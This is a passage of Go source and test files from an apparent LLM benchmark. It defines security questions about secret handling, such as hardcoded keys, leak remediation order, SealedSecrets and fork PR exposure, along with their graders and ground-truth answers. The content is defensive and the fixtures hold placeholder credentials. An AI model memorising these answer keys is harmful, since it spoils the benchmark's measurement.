want: 1,
|
||||
},
|
||||
{
|
||||
name: "wrong: fully reversed",
|
||||
response: `["remove-old-key-from-verify-set","wait-for-old-tokens-to-expire","start-signing-with-new-key","add-new-key-to-verify-set"]`,
|
||||
want: 0,
|
||||
},
|
||||
{
|
||||
name: "wrong: removes old key too early",
|
||||
response: `["add-new-key-to-verify-set","remove-old-key-from-verify-set","start-signing-with-new-key","wait-for-old-tokens-to-expire"]`,
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecHMACVsSignatureTest_Eval(t *testing.T) {
|
||||
tc := secHMACVsSignatureTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct bare", response: "asymmetric", want: 1},
|
||||
{name: "correct with period", response: "Asymmetric.", want: 1},
|
||||
{name: "correct quoted", response: `'asymmetric'`, want: 1},
|
||||
{name: "wrong bare", response: "hmac", want: 0},
|
||||
{name: "wrong uppercase", response: "HMAC", want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecCertChainValidationTest_Eval(t *testing.T) {
|
||||
tc := secCertChainValidationTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct hyphenated", response: "man-in-the-middle", want: 1},
|
||||
{name: "correct spaced in a sentence", response: "This exposes the client to a man in the middle attack.", want: 1},
|
||||
{name: "correct capitalized", response: "MITM stands for Man-In-The-Middle, which is the attack here.", want: 1},
|
||||
{name: "wrong: replay attack", response: "replay attack", want: 0},
|
||||
{name: "wrong: denial of service", response: "denial of service", want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecHashVsEncryptPIITest_Eval(t *testing.T) {
|
||||
tc := secHashVsEncryptPIITest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"field_a":"hash","field_b":"encrypt"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"field_a\":\"hash\",\"field_b\":\"encrypt\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "field_a": "hash", "field_b": "encrypt" }`, want: 1},
|
||||
{name: "wrong field_a", response: `{"field_a":"encrypt","field_b":"encrypt"}`, want: 0.5},
|
||||
{name: "wrong field_b", response: `{"field_a":"hash","field_b":"hash"}`, want: 0.5},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,369 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"github.com/lukaszraczylo/llm-testbench/internal/eval"
|
||||
"github.com/lukaszraczylo/llm-testbench/internal/testkit"
|
||||
)
|
||||
|
||||
func registerSecuritySecretsTests(r *testkit.Registry) {
|
||||
r.Register(secHardcodedSecretSpotTest())
|
||||
r.Register(secRemediationOrderTest())
|
||||
r.Register(secVaultTradeoffTest())
|
||||
r.Register(secK8sSecretBase64Test())
|
||||
r.Register(secRotationNoDowntimeTest())
|
||||
r.Register(secLeastPrivilegeScopeTest())
|
||||
r.Register(secDiffSecretSpotTest())
|
||||
r.Register(secForkPRCIExposureTest())
|
||||
r.Register(secSSHAgentIdentityTest())
|
||||
r.Register(secGitignoreHistoryNuanceTest())
|
||||
}
|
||||
|
||||
// secHardcodedSecretFixture is a synthetic Go source file (FIXTURE:
|
||||
// prompt-only, never compiled) for secHardcodedSecretSpotTest.
|
||||
const secHardcodedSecretFixture = `1: package main
|
||||
2:
|
||||
3: import "net/http"
|
||||
4:
|
||||
5: const stripeAPIKey = "sk-live-51H-FIXTURE-0000000000000000"
|
||||
6:
|
||||
7: func NewPaymentClient() *http.Client {
|
||||
8: return &http.Client{}
|
||||
9: }`
|
||||
|
||||
// secHardcodedSecretSpotTest: spot a live API key hardcoded as a Go
|
||||
// constant.
|
||||
//
|
||||
// ground truth: line 5 hardcodes a live Stripe secret key directly in
|
||||
// source. It ships to every clone of the repository, and to every commit
|
||||
// in its history forever, instead of being loaded from an environment
|
||||
// variable or a secret manager at runtime.
|
||||
func secHardcodedSecretSpotTest() testkit.Test {
|
||||
prompt := `Here is a Go source file. Each displayed line is prefixed with
|
||||
its 1-based position in this listing:
|
||||
|
||||
` + secHardcodedSecretFixture + `
|
||||
|
||||
Which line number hardcodes a live secret directly in source? Respond with
|
||||
only a JSON object: {"line":<number>}`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-hardcoded-secret-spot",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Spot a live Stripe API key hardcoded as a Go constant.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.JSONField("line", 5),
|
||||
}
|
||||
}
|
||||
|
||||
// secRemediationOrderWant is the single defensible ordering for
|
||||
// secRemediationOrderTest.
|
||||
//
|
||||
// ground truth: the credential is already compromised the instant it was
|
||||
// pushed to a shared remote - anyone with clone access, CI logs, or a
|
||||
// cached fork already has it. Rewriting history does not un-expose a
|
||||
// credential that has already been fetched elsewhere, so rotating it at
|
||||
// the source (the provider) is the only step that actually closes the
|
||||
// exposure, and it must happen first. Only after the live credential is
|
||||
// rotated does it make sense to (2) remove the secret from the current
|
||||
// code, (3) rewrite git history to purge it from old commits, and (4)
|
||||
// force-push and notify collaborators so their existing clones don't
|
||||
// silently resurrect the purged history on their next pull.
|
||||
var secRemediationOrderWant = []string{
|
||||
"rotate-the-leaked-credential",
|
||||
"remove-secret-from-current-code",
|
||||
"rewrite-git-history-to-purge-it",
|
||||
"force-push-and-notify-collaborators",
|
||||
}
|
||||
|
||||
func secRemediationOrderTest() testkit.Test {
|
||||
prompt := `A secret was committed to a git repository and already pushed
|
||||
to a shared remote that multiple collaborators have cloned.
|
||||
|
||||
Order these 4 remediation steps correctly:
|
||||
["rotate-the-leaked-credential", "remove-secret-from-current-code",
|
||||
"rewrite-git-history-to-purge-it", "force-push-and-notify-collaborators"]
|
||||
|
||||
Respond with only a JSON array containing all 4 step ids in the correct
|
||||
order.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-remediation-order",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Order a committed-secret remediation: rotate the credential first, since history rewriting cannot un-expose an already-cloned secret.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.JSONStringArrayEquals(secRemediationOrderWant),
|
||||
}
|
||||
}
|
||||
|
||||
// secVaultTradeoffTest: identify a SealedSecret, not a plain env-var
|
||||
// literal or a plain (base64) Kubernetes Secret, as safe to commit to a
|
||||
// GitOps git repository.
|
||||
//
|
||||
// ground truth: base64 is a reversible encoding, not encryption, so both a
|
||||
// literal env var in the Deployment YAML and a plain Kubernetes Secret
|
||||
// manifest are effectively plaintext the moment they land in git history.
|
||||
// A SealedSecret is asymmetrically encrypted, decryptable only by the
|
||||
// private key held inside the cluster's controller, so the ciphertext
|
||||
// committed to git carries no usable secret to anyone who only has the git
|
||||
// repository.
|
||||
func secVaultTradeoffTest() testkit.Test {
|
||||
prompt := `A database password must be supplied to a pod in a cluster
|
||||
whose manifests are all committed to a GitOps git repository. Three ways to
|
||||
supply it are on the table:
|
||||
|
||||
- env-var-literal: the password as a plaintext value directly in the
|
||||
Deployment YAML.
|
||||
- plain-k8s-secret: a Kubernetes Secret manifest (its data field is
|
||||
base64-encoded) committed directly to git as-is.
|
||||
- sealed-secret: a SealedSecret, asymmetrically encrypted so that only the
|
||||
cluster's own controller (holding the matching private key) can decrypt
|
||||
it, committed to git as ciphertext.
|
||||
|
||||
Which one of these three is actually safe to commit to the git repository
|
||||
as-is? Respond with only a JSON object:
|
||||
{"safe_to_commit":"<one of: env-var-literal, plain-k8s-secret, sealed-secret>"}`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-vault-tradeoff",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Identify a SealedSecret, not a plaintext env var or a plain base64 Kubernetes Secret, as safe to commit to a GitOps repository.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.JSONField("safe_to_commit", "sealed-secret"),
|
||||
}
|
||||
}
|
||||
|
||||
// secK8sSecretBase64Test: confirm base64 encoding provides no
|
||||
// confidentiality on its own.
|
||||
//
|
||||
// ground truth: base64 is a reversible ENCODING with no key involved -
|
||||
// anyone who can read the manifest text can decode it with a single
|
||||
// command (base64 -d) to recover the plaintext. It provides zero
|
||||
// confidentiality by itself; real encryption-at-rest for a Kubernetes
|
||||
// Secret needs an additional mechanism (etcd encryption, SealedSecrets, or
|
||||
// an external secret manager).
|
||||
func secK8sSecretBase64Test() testkit.Test {
|
||||
prompt := `A Kubernetes Secret manifest stores its data field values
|
||||
base64-encoded.
|
||||
|
||||
Is base64 encoding, by itself, a form of encryption that keeps the
|
||||
secret's value confidential from anyone who can read the manifest? Respond
|
||||
with only one word: yes or no.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-k8s-secret-base64",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Confirm that Kubernetes Secret base64 encoding is not encryption and provides no confidentiality by itself.",
|
||||
Prompt: prompt,
|
||||
Eval: secExactAnswer("no"),
|
||||
}
|
||||
}
|
||||
|
||||
// secRotationNoDowntimeWant is the single defensible ordering for
|
||||
// secRotationNoDowntimeTest.
|
||||
//
|
||||
// ground truth: during a rolling deploy some replicas are still running
|
||||
// with the old credential while others have already picked up the new
|
||||
// one, so the database must accept BOTH credentials throughout the
|
||||
// rollout. That means: (1) create the new credential alongside the old one
|
||||
// (both now valid), (2) deploy the config carrying the new credential to
|
||||
// all replicas (a rolling deploy that takes time, during which both
|
||||
// credentials must keep working), (3) verify every replica has confirmed
|
||||
// it is actually using the new credential, and only then (4) revoke the
|
||||
// old credential. Revoking the old credential any earlier is exactly what
|
||||
// causes an outage, since replicas that have not yet rolled would suddenly
|
||||
// fail to authenticate.
|
||||
var secRotationNoDowntimeWant = []string{
|
||||
"create-new-credential-alongside-old",
|
||||
"deploy-config-with-new-credential-to-all-replicas",
|
||||
"verify-all-replicas-using-new-credential",
|
||||
"revoke-old-credential",
|
||||
}
|
||||
|
||||
func secRotationNoDowntimeTest() testkit.Test {
|
||||
prompt := `A database password used by a running service with multiple
|
||||
replicas must be rotated without causing any request to fail
|
||||
authentication during the rollout.
|
||||
|
||||
Order these 4 steps correctly:
|
||||
["create-new-credential-alongside-old",
|
||||
"deploy-config-with-new-credential-to-all-replicas",
|
||||
"verify-all-replicas-using-new-credential", "revoke-old-credential"]
|
||||
|
||||
Respond with only a JSON array containing all 4 step ids in the correct
|
||||
order.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-rotation-no-downtime",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Order a zero-downtime database-credential rotation across a multi-replica rolling deploy.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.JSONStringArrayEquals(secRotationNoDowntimeWant),
|
||||
}
|
||||
}
|
||||
|
||||
// secLeastPrivilegeScopeTest: pick the credential scoped to exactly what a
|
||||
// CI job needs, not a broader one that could also do the job.
|
||||
//
|
||||
// ground truth: the job's actual need is "push one image to one
|
||||
// repository." Granting anything broader - org-wide write, or worse,
|
||||
// account-wide admin - hands the CI runner, and anything that compromises
|
||||
// it (a malicious build dependency, a leaked runner log), far more power
|
||||
// than the task requires. The least-privilege-adequate credential is
|
||||
// scoped to push access on exactly that one repository.
|
||||
func secLeastPrivilegeScopeTest() testkit.Test {
|
||||
prompt := `A CI job's only job is to push a Docker image to one specific
|
||||
container image repository after a successful build. Nothing else in the
|
||||
pipeline needs registry access.
|
||||
|
||||
Which credential scope should this CI job be given? Respond with only a
|
||||
JSON object:
|
||||
{"scope":"<one of: account-wide-admin-key, org-wide-write-key, single-repo-push-key>"}`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-least-privilege-scope",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Pick a single-repository push-only credential over a broader org- or account-wide key for a CI image-push job.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.JSONField("scope", "single-repo-push-key"),
|
||||
}
|
||||
}
|
||||
|
||||
// secDiffSecretFixture is a synthetic unified diff (FIXTURE: prompt-only,
|
||||
// never compiled) for secDiffSecretSpotTest. Each displayed line is
|
||||
// prefixed with its 1-based position in this listing.
|
||||
// #nosec G101 -- prompt-only fixture text, never compiled; it demonstrates a
|
||||
// plaintext credential landing in a diff about to be committed, which is
|
||||
// exactly the bug this test asks the model to spot.
|
||||
const secDiffSecretFixture = `1: @@ -10,6 +10,8 @@
|
||||
2: func NewMailer() *Mailer {
|
||||
3: return &Mailer{
|
||||
4: Host: "smtp.example.com",
|
||||
5: + Username: "[email protected]",
|
||||
6: + Password: "Sup3rSecretSmtpPass!",
|
||||
7: }
|
||||
8: }`
|
||||
|
||||
// secDiffSecretSpotTest: spot the added line that introduces a plaintext
|
||||
// credential in a diff about to be committed.
|
||||
//
|
||||
// ground truth: added line 6 introduces the SMTP account's plaintext
|
||||
// password literal directly into source about to be committed and pushed -
|
||||
// a credential leak the moment this diff lands. Added line 5 is a
|
||||
// non-secret username/email and is not itself a credential leak.
|
||||
func secDiffSecretSpotTest() testkit.Test {
|
||||
prompt := `Here is a unified diff about to be committed. Each displayed
|
||||
line is prefixed with its 1-based position in this listing:
|
||||
|
||||
` + secDiffSecretFixture + `
|
||||
|
||||
Which line number introduces a plaintext credential into source about to
|
||||
be committed? Respond with only a JSON object: {"line":<number>}`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-diff-secret-spot",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Spot the added diff line that introduces a plaintext SMTP password about to be committed.",
|
||||
Prompt: prompt,
|
||||
Eval: eval.JSONField("line", 6),
|
||||
}
|
||||
}
|
||||
|
||||
// secForkPRCIExposureTest: confirm repository secrets must not be exposed
|
||||
// to workflow runs triggered by pull requests from forks.
|
||||
//
|
||||
// ground truth: a fork PR's workflow YAML and code are attacker-controlled
|
||||
// - the fork's author can modify the workflow to print or exfiltrate any
|
||||
// secret made available to it as an environment variable. Secrets must
|
||||
// never be exposed to a pull_request-triggered run originating from a
|
||||
// fork; the standard fix is gating secret-bearing steps to trusted
|
||||
// triggers (pushes to protected branches, or a maintainer-approved
|
||||
// pull_request_target with the checkout pinned) instead.
|
||||
func secForkPRCIExposureTest() testkit.Test {
|
||||
prompt := `A CI pipeline runs on every pull request, including ones
|
||||
opened from forks by contributors who did not write the workflow file
|
||||
themselves. The pipeline exposes repository secrets (e.g. a deploy token)
|
||||
as environment variables to that pull request's workflow run.
|
||||
|
||||
Should repository secrets be exposed to a workflow run triggered by a pull
|
||||
request from a fork? Respond with only one word: yes or no.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-fork-pr-ci-exposure",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Confirm repository secrets must not be exposed to CI workflow runs triggered by pull requests from forks.",
|
||||
Prompt: prompt,
|
||||
Eval: secExactAnswer("no"),
|
||||
}
|
||||
}
|
||||
|
||||
// secSSHAgentIdentityTest: name IdentityAgent as the ssh_config directive
|
||||
// for a 1Password-style external agent, and explain why it beats a
|
||||
// disk-resident IdentityFile.
|
||||
//
|
||||
// ground truth: IdentityAgent points the ssh client at an external agent's
|
||||
// socket (e.g. 1Password's) instead of the default ssh-agent. With it, the
|
||||
// private key material never touches disk at all - it stays inside the
|
||||
// external agent's vault, unlocked only while that agent is unlocked. An
|
||||
// IdentityFile pointing at a raw key on disk is a persistent copy of the
|
||||
// private key sitting in the filesystem indefinitely, which is worse than
|
||||
// never having a disk copy in the first place, encrypted passphrase or not.
|
||||
func secSSHAgentIdentityTest() testkit.Test {
|
||||
prompt := `You use 1Password as your SSH agent instead of the default
|
||||
ssh-agent or a key file on disk.
|
||||
|
||||
Which ~/.ssh/config directive tells the ssh client to use 1Password's
|
||||
agent socket instead of the default agent, and why is a hardcoded
|
||||
private-key IdentityFile path a worse choice for this setup?`
|
||||
|
||||
evaluator := eval.Mean(
|
||||
eval.ContainsAll("IdentityAgent"),
|
||||
eval.ContainsAny("disk", "filesystem", "never leaves", "never touch", "persistent copy", "sitting on disk"),
|
||||
)
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-ssh-agent-identity",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Name IdentityAgent as the ssh_config directive for a 1Password-style agent, versus a disk-resident IdentityFile.",
|
||||
Prompt: prompt,
|
||||
Eval: evaluator,
|
||||
}
|
||||
}
|
||||
|
||||
// secGitignoreHistoryNuanceTest: confirm a later .gitignore entry and
|
||||
// working-tree deletion do not remove a secret from earlier git history.
|
||||
//
|
||||
// ground truth: .gitignore only stops git from tracking NEW changes to a
|
||||
// path going forward; deleting the file in a later commit only removes it
|
||||
// from the CURRENT tree. The file's full contents still exist, unencrypted,
|
||||
// inside the commit object from 3 commits ago, and a full git clone
|
||||
// fetches the entire history by default - so the key is trivially
|
||||
// recoverable (git log -p, git show <commit>:.env) regardless of
|
||||
// .gitignore or the later deletion. Only rewriting history, or rotating
|
||||
// the credential, actually removes the exposure.
|
||||
func secGitignoreHistoryNuanceTest() testkit.Test {
|
||||
prompt := `A .env file containing a live API key was committed to git 3
|
||||
commits ago. Later, .env was added to .gitignore and deleted from the
|
||||
working tree in the latest commit.
|
||||
|
||||
Is the API key still present anywhere a git clone of this repository would
|
||||
expose, even though .gitignore now excludes .env and it is gone from the
|
||||
current working tree? Respond with only one word: yes or no.`
|
||||
|
||||
return testkit.Test{
|
||||
ID: "sec-gitignore-history-nuance",
|
||||
Category: "security",
|
||||
Subcategory: "secrets",
|
||||
Description: "Confirm a later .gitignore entry and working-tree deletion do not remove a secret already present in earlier git history.",
|
||||
Prompt: prompt,
|
||||
Eval: secExactAnswer("yes"),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,306 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSecHardcodedSecretSpotTest_Eval(t *testing.T) {
|
||||
tc := secHardcodedSecretSpotTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"line":5}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"line\":5}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "line": 5 }`, want: 1},
|
||||
{name: "wrong line: import statement", response: `{"line":1}`, want: 0},
|
||||
{name: "wrong line: function body", response: `{"line":7}`, want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecRemediationOrderTest_Eval(t *testing.T) {
|
||||
tc := secRemediationOrderTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{
|
||||
name: "correct order",
|
||||
response: `["rotate-the-leaked-credential","remove-secret-from-current-code","rewrite-git-history-to-purge-it","force-push-and-notify-collaborators"]`,
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct order fenced with prose",
|
||||
response: "Here is the order:\n```json\n[\"rotate-the-leaked-credential\",\"remove-secret-from-current-code\",\"rewrite-git-history-to-purge-it\",\"force-push-and-notify-collaborators\"]\n```",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct order different case",
|
||||
response: `["Rotate-The-Leaked-Credential","Remove-Secret-From-Current-Code","Rewrite-Git-History-To-Purge-It","Force-Push-And-Notify-Collaborators"]`,
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "wrong: fully reversed",
|
||||
response: `["force-push-and-notify-collaborators","rewrite-git-history-to-purge-it","remove-secret-from-current-code","rotate-the-leaked-credential"]`,
|
||||
want: 0,
|
||||
},
|
||||
{
|
||||
name: "wrong: rewrites history before rotating",
|
||||
response: `["rewrite-git-history-to-purge-it","rotate-the-leaked-credential","remove-secret-from-current-code","force-push-and-notify-collaborators"]`,
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecVaultTradeoffTest_Eval(t *testing.T) {
|
||||
tc := secVaultTradeoffTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"safe_to_commit":"sealed-secret"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"safe_to_commit\":\"sealed-secret\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "safe_to_commit": "sealed-secret" }`, want: 1},
|
||||
{name: "wrong: env var literal", response: `{"safe_to_commit":"env-var-literal"}`, want: 0},
|
||||
{name: "wrong: plain k8s secret", response: `{"safe_to_commit":"plain-k8s-secret"}`, want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecK8sSecretBase64Test_Eval(t *testing.T) {
|
||||
tc := secK8sSecretBase64Test()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct bare", response: "no", want: 1},
|
||||
{name: "correct with period", response: "No.", want: 1},
|
||||
{name: "correct quoted", response: `'no'`, want: 1},
|
||||
{name: "wrong bare", response: "yes", want: 0},
|
||||
{name: "wrong with sentence", response: "Yes, it's encrypted.", want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecRotationNoDowntimeTest_Eval(t *testing.T) {
|
||||
tc := secRotationNoDowntimeTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{
|
||||
name: "correct order",
|
||||
response: `["create-new-credential-alongside-old","deploy-config-with-new-credential-to-all-replicas","verify-all-replicas-using-new-credential","revoke-old-credential"]`,
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct order fenced with prose",
|
||||
response: "Here is the order:\n```json\n[\"create-new-credential-alongside-old\",\"deploy-config-with-new-credential-to-all-replicas\",\"verify-all-replicas-using-new-credential\",\"revoke-old-credential\"]\n```",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct order different case",
|
||||
response: `["Create-New-Credential-Alongside-Old","Deploy-Config-With-New-Credential-To-All-Replicas","Verify-All-Replicas-Using-New-Credential","Revoke-Old-Credential"]`,
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "wrong: fully reversed",
|
||||
response: `["revoke-old-credential","verify-all-replicas-using-new-credential","deploy-config-with-new-credential-to-all-replicas","create-new-credential-alongside-old"]`,
|
||||
want: 0,
|
||||
},
|
||||
{
|
||||
name: "wrong: revokes old credential before the rollout finishes",
|
||||
response: `["create-new-credential-alongside-old","revoke-old-credential","deploy-config-with-new-credential-to-all-replicas","verify-all-replicas-using-new-credential"]`,
|
||||
want: 0,
|
||||
},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecLeastPrivilegeScopeTest_Eval(t *testing.T) {
|
||||
tc := secLeastPrivilegeScopeTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"scope":"single-repo-push-key"}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"scope\":\"single-repo-push-key\"}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "scope": "single-repo-push-key" }`, want: 1},
|
||||
{name: "wrong: org-wide key", response: `{"scope":"org-wide-write-key"}`, want: 0},
|
||||
{name: "wrong: account-wide admin key", response: `{"scope":"account-wide-admin-key"}`, want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecDiffSecretSpotTest_Eval(t *testing.T) {
|
||||
tc := secDiffSecretSpotTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct", response: `{"line":6}`, want: 1},
|
||||
{name: "correct fenced with prose", response: "```json\n{\"line\":6}\n```", want: 1},
|
||||
{name: "correct with spacing", response: `{ "line": 6 }`, want: 1},
|
||||
{name: "wrong line: username, not a secret", response: `{"line":5}`, want: 0},
|
||||
{name: "wrong line: unrelated host field", response: `{"line":4}`, want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecForkPRCIExposureTest_Eval(t *testing.T) {
|
||||
tc := secForkPRCIExposureTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{name: "correct bare", response: "no", want: 1},
|
||||
{name: "correct with period", response: "No.", want: 1},
|
||||
{name: "correct quoted", response: `'no'`, want: 1},
|
||||
{name: "wrong bare", response: "yes", want: 0},
|
||||
{name: "wrong with sentence", response: "Yes, that's fine.", want: 0},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := tc.Eval.Evaluate(context.Background(), tt.response)
|
||||
if got.Value != tt.want {
|
||||
t.Errorf("Eval.Evaluate(%q) = %v, want %v (detail: %s)", tt.response, got.Value, tt.want, got.Detail)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecSSHAgentIdentityTest_Eval(t *testing.T) {
|
||||
tc := secSSHAgentIdentityTest()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
response string
|
||||
want float64
|
||||
}{
|
||||
{
|
||||
name: "correct: IdentityAgent, persistent copy on disk",
|
||||
response: "Use IdentityAgent in ~/.ssh/config. An IdentityFile keeps a persistent copy of the private key sitting on disk, which 1Password avoids entirely.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: IdentityAgent, never leaves and filesystem",
|
||||
response: "The directive is IdentityAgent. Unlike an IdentityFile, the key never leaves 1Password and never touches the filesystem.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
name: "correct: IdentityAgent, sits on disk phrasing",
|
||||
response: "IdentityAgent. A raw IdentityFile means the private key sits on disk indefinitely.",
|
||||
want: 1,
|
||||
},
|
||||
{
|
||||
